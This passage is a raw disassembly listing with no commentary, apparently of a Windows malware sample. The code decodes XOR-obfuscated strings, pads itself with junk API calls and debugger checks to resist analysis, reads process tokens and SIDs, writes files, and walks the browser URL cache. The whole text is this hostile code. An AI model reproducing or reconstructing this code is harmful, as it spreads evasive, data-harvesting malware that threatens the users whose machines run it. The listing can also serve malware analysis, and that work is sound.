esp, 0Ch mov [ebp+var_4], 267h xor edi, edi jmp short loc_4046E3 ; --------------------------------------------------------------------------- loc_4046CC: ; CODE XREF: sub_40469F+46j mov eax, dword_442298 add eax, edi lea eax, ds:417590h[eax] movsx edx, byte ptr [eax] xor edx, 16h mov [eax], dl inc edi loc_4046E3: ; CODE XREF: sub_40469F+2Bj cmp edi, esi jl short loc_4046CC mov eax, dword_442298 add eax, esi mov byte ptr ds:dword_417590[eax], 0 mov edi, dword_442298 add dword_442298, 3 mov eax, dword_442298 add eax, 4 add eax, esi sub_40469F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40470D proc near ; DATA XREF: sub_43F771+600o mov dword_442298, eax cmp eax, 0DCDh jle short loc_404720 and dword_442298, 0 loc_404720: ; CODE XREF: sub_40470D+Aj lea eax, dword_417590[edi] pop edi pop esi leave retn sub_40470D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40472A proc near ; CODE XREF: sub_4056CB+6E5p ; sub_4056CB+7B4p ... var_10C = byte ptr -10Ch var_100 = byte ptr -100h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_100], 95h sub [ebp+var_100], 4Ch push [ebp+arg_4] push ebx call sub_40CE78 add esp, 8 lea edi, [ebp+var_10C] lea esi, a5gl ; "/% 5gl;" movsd movsd call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_40486D call sub_40CA58 ; IsDebuggerPresent mov [ebp+var_FF], 0 call sub_40C968 ; RtlGetLastWin32Error push 3 push offset a96 ; "9<6" call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h sub_40472A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40479E proc near ; DATA XREF: sub_43F771+502o lea edi, [ebp-112h] lea esi, aSa ; "* S" mov ecx, 5 rep movsb mov byte ptr [ebp-10Dh], 0 jmp short loc_404815 ; --------------------------------------------------------------------------- loc_4047BA: ; CODE XREF: sub_40479E+7Fj call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_40480E push 4 push offset a3e3u ; "3e3u" call sub_40469F mov [ebp-120h], eax call sub_40CE3C mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-120h] push edi lea edi, [ebp-0FFh] push edi call sub_40CE54 add esp, 18h loc_40480E: ; CODE XREF: sub_40479E+2Cj add byte ptr [ebp-10Dh], 1 loc_404815: ; CODE XREF: sub_40479E+1Aj mov al, [ebp-10Dh] cmp al, 0Ah jb short loc_4047BA lea edi, [ebp-119h] lea esi, aSWrH ; "s+wR~H" mov ecx, 7 rep movsb lea eax, [ebp-0FFh] push eax push ebx call sub_40CE78 call sub_40C938 ; GetCurrentProcessId push 3 push offset a69 ; "6<9" call sub_40469F push eax push ebx call sub_40CE78 add esp, 18h lea edi, [ebp-11Ch] lea esi, a7 ; "7^" mov ecx, 3 rep movsb loc_40486D: ; CODE XREF: sub_40472A+47j call sub_40CE3C mov ecx, 0Ah cdq sub_40479E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404878 proc near ; DATA XREF: sub_43F771+55Bo idiv ecx cmp edx, 5 jge loc_404950 call sub_40C998 ; GetProcessHeap push 10h push offset aWd63u3u3u663c ; "`wd63u3u3u6+63c-" call sub_40469F mov [ebp-114h], eax call sub_40CE3C mov [ebp-118h], eax call sub_40CE3C mov [ebp-11Ch], eax call sub_40CE3C mov [ebp-120h], eax call sub_40CE3C mov ecx, 0EA60h cdq idiv ecx push edx mov edi, [ebp-120h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-11Ch] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-118h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-114h] push edi lea edi, [ebp-0FFh] push edi call sub_40CE54 call sub_40C9D4 ; GetVersion lea eax, [ebp-0FFh] push eax push ebx call sub_40CE78 add esp, 28h mov word ptr [ebp-10Eh], 0E65h ; DATA XREF: sub_43F771+41Dr movzx eax, word ptr [ebp-10Eh] imul eax, 478Eh mov [ebp-10Eh], ax loc_404950: ; CODE XREF: sub_404878+5j call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404A07 call sub_40C9C8 ; GetTickCount push 0Ah push offset byte_447443 call sub_40469F mov [ebp-114h], eax call sub_40CE3C mov [ebp-118h], eax call sub_40CE3C mov [ebp-11Ch], eax call sub_40CE3C mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-11Ch] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-118h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-114h] push edi lea edi, [ebp-0FFh] push edi call sub_40CE54 mov word ptr [ebp-10Eh], 21A9h sub word ptr [ebp-10Eh], 1F60h ; DATA XREF: sub_43F771+2Ao lea eax, [ebp-0FFh] push eax push ebx call sub_40CE78 add esp, 24h loc_404A07: ; CODE XREF: sub_404878+E8j call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404A2F push 2 push offset byte_447440 call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404A2F: ; CODE XREF: sub_404878+19Fj ; DATA XREF: sub_440172+12o mov dword ptr [ebp-104h], 29E2h sub dword ptr [ebp-104h], 2A26h pop edi pop esi pop ebx leave retn sub_404878 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A48 proc near ; CODE XREF: sub_4056CB+197p ; sub_4056CB+1C8p ... var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_116 = byte ptr -116h var_10F = byte ptr -10Fh var_108 = word ptr -108h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 130h push ebx push esi push edi mov ebx, [ebp+arg_0] mov ax, word_4422B3 mov [ebp+var_108], ax push [ebp+arg_4] push ebx call sub_40CE78 add esp, 8 lea edi, [ebp+var_10F] lea esi, aJ@6lO ; "j@6l^o" mov ecx, 7 rep movsb call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404C4B mov [ebp+var_11C], 19DCh mov eax, 3073h mul [ebp+var_11C] mov [ebp+var_124], eax mov [ebp+var_11C], eax mov [ebp+var_FF], 0 mov [ebp+var_120], 3B4h inc [ebp+var_120] push 5 push offset a76 ; "*7;;6" call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h mov [ebp+var_116], 0 jmp loc_404BFB sub_404A48 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404BA0 loc_404AF3: ; CODE XREF: sub_404BA0+63j call sub_40C938 ; GetCurrentProcessId call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404B4C push 4 push offset a3e3u ; "3e3u" call sub_40469F mov [ebp-128h], eax call sub_40CE3C mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-128h] push edi lea edi, [ebp-0FFh] push edi call sub_40CE54 add esp, 18h loc_404B4C: ; CODE XREF: sub_404BA0-98j call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short sub_404BA0 push 4 push offset a3e3u ; "3e3u" call sub_40469F mov [ebp-12Ch], eax call sub_40CE3C mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 41h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-12Ch] push edi lea edi, [ebp-0FFh] push edi call sub_40CE54 add esp, 18h ; END OF FUNCTION CHUNK FOR sub_404BA0 ; =============== S U B R O U T I N E ======================================= sub_404BA0 proc near ; CODE XREF: sub_404BA0-44j ; DATA XREF: sub_440172+143o ; FUNCTION CHUNK AT 00404AF3 SIZE 000000AD BYTES call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 7 jge short loc_404BF4 push 4 push offset a3e3u ; "3e3u" call sub_40469F mov [ebp-130h], eax call sub_40CE3C mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 30h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-130h] push edi lea edi, [ebp-0FFh] push edi call sub_40CE54 add esp, 18h loc_404BF4: ; CODE XREF: sub_404BA0+10j add byte ptr [ebp-116h], 1 loc_404BFB: ; CODE XREF: sub_404A48+A6j mov al, [ebp-116h] cmp al, 0Ah jb loc_404AF3 lea eax, [ebp-0FFh] push eax push ebx call sub_40CE78 call sub_40C944 ; GetCurrentThreadId push 4 push offset a6 ; ";;(6" call sub_40469F push eax push ebx call sub_40CE78 add esp, 18h mov byte ptr [ebp-117h], 0F0h movzx eax, byte ptr [ebp-117h] mov edx, eax add edx, eax mov eax, edx mov [ebp-117h], al loc_404C4B: ; CODE XREF: sub_404A48+4Bj call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404DD9 call sub_40CA58 ; IsDebuggerPresent mov byte ptr [ebp-0FFh], 0 mov byte ptr [ebp-116h], 0 jmp loc_404D9A sub_404BA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404D70 loc_404C79: ; CODE XREF: sub_404D70+32j call sub_40C9C8 ; GetTickCount call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 4 jge short loc_404CD2 push 4 push offset a3e3u ; "3e3u" call sub_40469F mov [ebp-124h], eax call sub_40CE3C mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-124h] push edi lea edi, [ebp-0FFh] push edi call sub_40CE54 add esp, 18h loc_404CD2: ; CODE XREF: sub_404D70-E2j call sub_40C9C8 ; GetTickCount call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 4 jge short loc_404D2B push 4 push offset a3e3u ; "3e3u" call sub_40469F mov [ebp-128h], eax call sub_40CE3C mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 41h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-128h] push edi lea edi, [ebp-0FFh] push edi call sub_40CE54 add esp, 18h loc_404D2B: ; CODE XREF: sub_404D70-89j call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 3 jge short loc_404D7F push 4 push offset a3e3u ; "3e3u" call sub_40469F ; END OF FUNCTION CHUNK FOR sub_404D70 ; =============== S U B R O U T I N E ======================================= sub_404D49 proc near ; DATA XREF: .data:0043FF5Ao mov [ebp-12Ch], eax call sub_40CE3C mov ecx, 9 cdq sub_404D49 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404D5A proc near ; DATA XREF: sub_43F771+7Eo idiv ecx mov edi, edx add edi, 30h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-12Ch] push edi sub_404D5A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404D70 proc near ; DATA XREF: .data:0043F50Do ; FUNCTION CHUNK AT 00404C79 SIZE 000000D0 BYTES lea edi, [ebp-0FFh] push edi call sub_40CE54 add esp, 18h loc_404D7F: ; CODE XREF: sub_404D70-35j mov dword ptr [ebp-120h], 2A38h add dword ptr [ebp-120h], 7A71h add byte ptr [ebp-116h], 1 loc_404D9A: ; CODE XREF: sub_404BA0+D4j mov al, [ebp-116h] cmp al, 32h jb loc_404C79 lea eax, [ebp-0FFh] push eax push ebx call sub_40CE78 add esp, 8 mov dword ptr [ebp-11Ch], 7B9Eh mov eax, 3953h mul dword ptr [ebp-11Ch] mov [ebp-120h], eax mov [ebp-11Ch], eax loc_404DD9: ; CODE XREF: sub_404BA0+BBj call sub_40CE3C mov ecx, 0Ah sub_404D70 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404DE3 proc near ; DATA XREF: sub_43F320+6o cdq idiv ecx cmp edx, 5 jge short loc_404E01 push 4 push offset aTd ; "*td(" call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404E01: ; CODE XREF: sub_404DE3+6j call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E29 push 3 push offset dword_44742C call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404E29: ; CODE XREF: sub_404DE3+2Ej lea edi, [ebp-112h] lea esi, asc_4422BC ; "&<" mov ecx, 3 rep movsb call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E64 push 3 push offset dword_447428 call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404E64: ; CODE XREF: sub_404DE3+69j call sub_40C968 ; RtlGetLastWin32Error call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E91 push 3 push offset dword_447424 call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404E91: ; CODE XREF: sub_404DE3+96j mov byte ptr [ebp-105h], 3Dh movzx eax, byte ptr [ebp-105h] imul eax, 5DA3h mov [ebp-105h], al call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404ED3 push 4 push offset byte_44741F call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404ED3: ; CODE XREF: sub_404DE3+D8j mov byte ptr [ebp-106h], 2Ah sub byte ptr [ebp-106h], 18h call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404F09 push 4 push offset a9t ; "*9t(" call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404F09: ; CODE XREF: sub_404DE3+10Ej call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404F31 push 4 push offset a9c ; "*9c(" call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404F31: ; CODE XREF: sub_404DE3+136j lea edi, [ebp-115h] lea esi, aM ; "~M" mov ecx, 3 rep movsb call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404F6C push 7 push offset a9pyxb ; "*9pyxb(" call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404F6C: ; CODE XREF: sub_404DE3+171j mov dword ptr [ebp-104h], 115Ch mov eax, [ebp-104h] mov edx, eax add edx, eax mov [ebp-104h], edx call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404FAE push 8 push offset aUsxbsd ; "*usxbsd(" call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404FAE: ; CODE XREF: sub_404DE3+1B3j call sub_40CA58 ; IsDebuggerPresent call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404FDB push 9 push offset a9usxbsd ; "*9usxbsd(" call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_404FDB: ; CODE XREF: sub_404DE3+1E0j call sub_40C9D4 ; GetVersion call sub_40CE3C mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_405008 push 2 push offset byte_447440 call sub_40469F push eax push ebx call sub_40CE78 add esp, 10h loc_405008: ; CODE XREF: sub_404DE3+20Dj pop edi pop esi pop ebx leave retn sub_404DE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40500D proc near ; CODE XREF: sub_405098+54p ; sub_405098+97p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_4422CC lea eax, ds:436200h[eax] push eax call sub_40CE18 add esp, 0Ch mov [ebp+var_4], 267h xor edi, edi jmp short loc_405051 ; --------------------------------------------------------------------------- loc_40503A: ; CODE XREF: sub_40500D+46j mov eax, dword_4422CC add eax, edi lea eax, ds:436200h[eax] movsx edx, byte ptr [eax] xor edx, 16h mov [eax], dl inc edi loc_405051: ; CODE XREF: sub_40500D+2Bj cmp edi, esi jl short loc_40503A mov eax, dword_4422CC add eax, esi mov byte ptr ds:dword_436200[eax], 0 mov edi, dword_4422CC add dword_4422CC, 3 mov eax, dword_4422CC add eax, 4 add eax, esi mov dword_4422CC, eax cmp eax, 0DCDh jle short loc_40508E and dword_4422CC, 0 loc_40508E: ; CODE XREF: sub_40500D+78j lea eax, dword_436200[edi] pop edi pop esi leave retn sub_40500D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405098 proc near ; CODE XREF: sub_405249:loc_4052E8p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov [ebp+var_15], 95h sub [ebp+var_15], 4Ch xor ebx, ebx inc ebx push [ebp+arg_0] call sub_40CDA0 ; GetSidIdentifierAuthority mov [ebp+var_14], eax call sub_40C998 ; GetProcessHeap push [ebp+arg_0] call sub_40CDB8 ; GetSidSubAuthorityCount movzx edi, byte ptr [eax] mov [ebp+var_10], edi call sub_40C9D4 ; GetVersion mov eax, 0Ch mul [ebp+var_10] mov [ebp+var_1C], eax add eax, 1Ch mov [ebp+var_C], eax call sub_40C998 ; GetProcessHeap push 6 push offset aE3zc ; "E;3zc;" call sub_40500D push ebx push eax push [ebp+arg_4] call sub_40CC80 ; wsprintfA add esp, 14h mov [ebp+var_C], eax call sub_40C998 ; GetProcessHeap mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+var_14] cmp byte ptr [eax], 0 jnz short loc_40511D cmp byte ptr [eax+1], 0 jz short loc_405181 loc_40511D: ; CODE XREF: sub_405098+7Dj lea edi, [ebp+var_24] lea esi, aAnvf ; "AnVF * " movsd movsd push 20h push offset aN3N3N3N3N3N3N ; "&n3&$~n3&$~n3&$~n3&$~n3&$~n3&$~n" call sub_40500D mov edi, [ebp+var_14] movzx esi, byte ptr [edi+5] movzx esi, si push esi movzx esi, byte ptr [edi+4] movzx esi, si push esi movzx esi, byte ptr [edi+3] movzx esi, si push esi movzx esi, byte ptr [edi+2] movzx esi, si push esi movzx esi, byte ptr [edi+1] movzx esi, si push esi movzx edi, byte ptr [edi] movzx edi, di push edi push eax push [ebp+var_8] call sub_40CC80 ; wsprintfA add esp, 28h mov ebx, eax add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax jmp short loc_4051E8 ; --------------------------------------------------------------------------- loc_405181: ; CODE XREF: sub_405098+83j mov [ebp+var_20], 5F7h mov eax, [ebp+var_20] mov edx, eax add edx, eax mov [ebp+var_20], edx push 3 push offset a3zc_0 ; "3zc" call sub_40500D mov edi, [ebp+var_14] movzx esi, byte ptr [edi+5] movzx edx, byte ptr [edi+4] shl edx, 8 add esi, edx movzx edx, byte ptr [edi+3] shl edx, 10h add esi, edx movzx edi, byte ptr [edi+2] shl edi, 18h add esi, edi push esi push eax push [ebp+var_8] call sub_40CC80 ; wsprintfA add esp, 14h mov ebx, eax mov [ebp+var_24], 2AFh add [ebp+var_24], 7A76h add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax loc_4051E8: ; CODE XREF: sub_405098+E7j and [ebp+var_4], 0 jmp short loc_40523C ; --------------------------------------------------------------------------- loc_4051EE: ; CODE XREF: sub_405098+1AAj lea edi, [ebp+var_20+3] lea esi, dword_4422D8 xor ecx, ecx inc ecx rep movsb push 4 push offset a3zc ; ";3zc" call sub_40500D mov [ebp+var_24], eax push [ebp+var_4] push [ebp+arg_0] call sub_40CDAC ; GetSidSubAuthority push dword ptr [eax] mov edi, [ebp+var_24] push edi push [ebp+var_8] call sub_40CC80 ; wsprintfA add esp, 14h mov ebx, eax call sub_40C938 ; GetCurrentProcessId add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax inc [ebp+var_4] loc_40523C: ; CODE XREF: sub_405098+154j mov eax, [ebp+var_10] cmp [ebp+var_4], eax jb short loc_4051EE pop edi pop esi pop ebx leave retn sub_405098 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405249 proc near ; CODE XREF: sub_406073+24Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_A = word ptr -0Ah var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40524C: ; DATA XREF: sub_44057Dr sub esp, 18h push esi loc_405250: ; DATA XREF: sub_440589r push edi mov edi, 417Ah ; DATA XREF: sub_440595r mov eax, 43ABh ; DATA XREF: sub_4405A1r mul edi ; DATA XREF: sub_4405ADr mov [ebp+var_14], eax loc_405260: ; DATA XREF: sub_4405B9r mov edi, eax call sub_40C938 ; DATA XREF: sub_4405C5r mov esi, eax ; DATA XREF: sub_4405D1r push esi push 0 loc_40526C: ; DATA XREF: sub_4405DDr sub_4405E9r push 1F0FFFh call sub_40CAA0 ; DATA XREF: sub_4405F5r mov esi, eax loc_405278: ; DATA XREF: sub_440601r mov [ebp+var_3], 1Eh loc_40527C: ; DATA XREF: sub_44060Dr add [ebp+var_3], 1 loc_405280: ; DATA XREF: sub_440619r lea eax, [ebp+var_8] push eax loc_405284: ; DATA XREF: sub_440625r push 0F00FFh push esi call sub_40CD28 ; OpenProcessToken push esi loc_405290: ; DATA XREF: sub_440631r call sub_40C9B0 ; CloseHandle mov esi, 1178h mov eax, 787Ch ; DATA XREF: sub_44063Dr mul esi mov [ebp+var_18], eax mov esi, eax mov eax, dword_4422C8 ; DATA XREF: sub_4406F9r add eax, 3FF1h ; DATA XREF: sub_440705r loc_4052B0: ; DATA XREF: sub_440711r push eax push 40h call sub_40CA7C ; DATA XREF: sub_44071Dr loc_4052B8: ; DATA XREF: sub_440729r mov edi, eax mov [ebp+var_A], 5281h ; DATA XREF: sub_440735r loc_4052C0: ; DATA XREF: sub_440741r inc [ebp+var_A] loc_4052C4: ; DATA XREF: sub_44074Dr lea eax, [ebp+var_10] push eax loc_4052C8: ; DATA XREF: sub_440759r sub_440765r mov eax, dword_4422C4 add eax, 3FFAh ; DATA XREF: sub_440771r push eax push edi loc_4052D4: ; DATA XREF: sub_44077Dr push 1 push [ebp+var_8] ; DATA XREF: sub_440789r call sub_40CD34 ; DATA XREF: sub_440795r call sub_40C968 ; DATA XREF: sub_4407A1r push [ebp+arg_0] ; DATA XREF: sub_4407ADr push dword ptr [edi] loc_4052E8: ; DATA XREF: sub_4407B9r sub_4407C5r call sub_405098 add esp, 8 loc_4052F0: ; DATA XREF: sub_4407D1r sub_4407DDr call sub_40C9D4 ; GetVersion push edi call sub_40CA88 ; DATA XREF: sub_4407E9r mov [ebp+var_2], 3CCh movzx eax, [ebp+var_2] ; DATA XREF: sub_4407F5r mov edx, eax add edx, eax ; DATA XREF: sub_440801r mov eax, edx mov [ebp+var_2], ax ; DATA XREF: sub_44080Dr push [ebp+var_8] ; DATA XREF: sub_440819r call sub_40C9B0 ; DATA XREF: sub_440825r pop edi loc_405318: ; DATA XREF: sub_440831r pop esi leave retn sub_405249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40531B proc near ; CODE XREF: sub_405415+66p ; sub_405415+F8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp loc_40531C: ; DATA XREF: sub_44083Dr mov ebp, esp push ecx push eax loc_405320: ; DATA XREF: sub_440849r push esi push edi mov esi, [ebp+arg_4] ; DATA XREF: sub_440855r push esi push [ebp+arg_0] mov eax, dword_4422E4 lea eax, ds:419660h[eax] ; DATA XREF: sub_440861r ; sub_44086Dr push eax call sub_40CE18 ; DATA XREF: sub_440879r add esp, 0Ch ; DATA XREF: sub_440885r mov [ebp+var_4], 127h ; DATA XREF: sub_440891r sub_44089Dr xor edi, edi jmp short loc_405360 ; DATA XREF: sub_4408A9r ; --------------------------------------------------------------------------- loc_405349: ; CODE XREF: sub_40531B+47j ; DATA XREF: sub_4408B5r mov eax, dword_4422E4 add eax, edi loc_405350: ; DATA XREF: sub_4408C1r sub_4408CDr lea eax, ds:419660h[eax] movsx edx, byte ptr [eax] ; DATA XREF: sub_4408D9r xor edx, 10h mov [eax], dl inc edi loc_405360: ; CODE XREF: sub_40531B+2Cj cmp edi, esi jl short loc_405349 loc_405364: ; DATA XREF: sub_4408E5r sub_4408F1r mov [ebp+var_8], 12Ch mov eax, dword_4422E4 ; DATA XREF: sub_4408FDr loc_405370: ; DATA XREF: sub_440909r add eax, esi mov byte ptr ds:dword_419660[eax], 0 ; DATA XREF: sub_440915r ; sub_440921r mov edi, dword_4422E4 ; DATA XREF: sub_44092Dr loc_405380: ; DATA XREF: sub_440939r mov eax, edi lea eax, [eax+esi+3] ; DATA XREF: sub_440945r mov dword_4422E4, eax ; DATA XREF: sub_440951r cmp eax, 0DFBh ; DATA XREF: sub_44095Dr loc_405390: ; DATA XREF: sub_440969r jle short loc_405399 and dword_4422E4, 0 ; DATA XREF: sub_440975r sub_440981r loc_405399: ; CODE XREF: sub_40531B:loc_405390j lea eax, dword_419660[edi] pop edi pop esi leave retn sub_40531B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053A3 proc near ; CODE XREF: sub_4063C4+49Ep ; sub_4063C4+4BBp var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push edi call sub_40C9D4 ; GetVersion call sub_40CA58 ; IsDebuggerPresent push 0 push 80h push 4 push 0 push 0 push 0C0000000h push [ebp+arg_0] call sub_40CAD0 ; CreateFileA mov edi, eax call sub_40C9D4 ; GetVersion cmp edi, 0FFFFFFFFh jnz short loc_4053DC xor eax, eax jmp short loc_405412 ; --------------------------------------------------------------------------- loc_4053DC: ; CODE XREF: sub_4053A3+33j call sub_40C938 ; GetCurrentProcessId push 2 push 0 push 0 push edi call sub_40CADC ; SetFilePointer call sub_40C998 ; GetProcessHeap push 0 lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push edi call sub_40CB48 ; WriteFile call sub_40C944 ; GetCurrentThreadId push edi call sub_40C9B0 ; CloseHandle xor eax, eax inc eax loc_405412: ; CODE XREF: sub_4053A3+37j pop edi leave retn sub_4053A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405415 proc near ; CODE XREF: sub_4063C4+40Ap var_2F6C = dword ptr -2F6Ch var_2F67 = byte ptr -2F67h var_2F62 = byte ptr -2F62h var_2F5C = byte ptr -2F5Ch var_2F57 = byte ptr -2F57h var_2F52 = byte ptr -2F52h var_2F4A = word ptr -2F4Ah var_2F48 = dword ptr -2F48h var_2F43 = byte ptr -2F43h var_1F44 = dword ptr -1F44h var_1F40 = byte ptr -1F40h var_1F3C = dword ptr -1F3Ch var_1F38 = dword ptr -1F38h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2F6Ch call sub_40C8BC push ebx push esi push edi mov [ebp+var_2F48], 74C6h sub [ebp+var_2F48], 450h lea edi, [ebp+var_2F52] lea esi, a9jA5_4 ; "9J`A5.4" movsd movsd mov ebx, 6B02h sub ebx, 5E65h push [ebp+arg_0] lea eax, [ebp+var_2F43] push eax call sub_40C8DC lea edi, [ebp+var_2F57] lea esi, aU ; ",U >" mov ecx, 5 rep movsb push 1 push offset asc_4473C7 ; "/" call sub_40531B mov edi, 7 sub edi, dword_4422DC push edi push eax lea edi, [ebp+var_2F43] push edi call sub_401883 add esp, 14h mov edi, eax mov [ebp+var_2F4A], di lea edi, [ebp+var_2F5C] lea esi, aOOx ; "O%OX" mov ecx, 5 rep movsb movzx eax, [ebp+var_2F4A] cmp eax, 0FFFFh jz short loc_4054D5 movzx eax, [ebp+var_2F4A] mov [ebp+eax+var_2F43], 0 loc_4054D5: ; CODE XREF: sub_405415+AFj lea edi, [ebp+var_2F62] lea esi, aFqvm ; "fqVM&" mov ecx, 3 rep movsw mov [ebp+var_1F44], 1F40h lea edi, [ebp+var_2F67] lea esi, dword_442304 mov ecx, 5 rep movsb push 3 push offset asc_4473C3 ; ":>:" call sub_40531B add esp, 8 lea edi, [ebp+var_1F44] push edi lea edi, [ebp+var_1F40] push edi push eax call sub_40BE3C ; FindFirstUrlCacheEntryA mov ebx, eax or eax, eax jz loc_4055F2 call sub_40C998 ; GetProcessHeap lea eax, [ebp+var_2F43] push eax push [ebp+var_1F3C] call sub_40CDE8 add esp, 8 or eax, eax jnz short loc_40557C lea edi, [ebp+var_2F6C] lea esi, aWvyj ; "wvyJ" mov ecx, 5 rep movsb push [ebp+var_1F38] push [ebp+arg_4] call sub_40C8DC call sub_40CA58 ; IsDebuggerPresent xor eax, eax inc eax jmp short loc_4055F2 ; --------------------------------------------------------------------------- loc_40557C: ; CODE XREF: sub_405415+13Aj ; sub_405415:loc_4055EEj call sub_40C998 ; GetProcessHeap mov [ebp+var_1F44], 1F40h call sub_40C968 ; RtlGetLastWin32Error lea eax, [ebp+var_1F44] push eax lea eax, 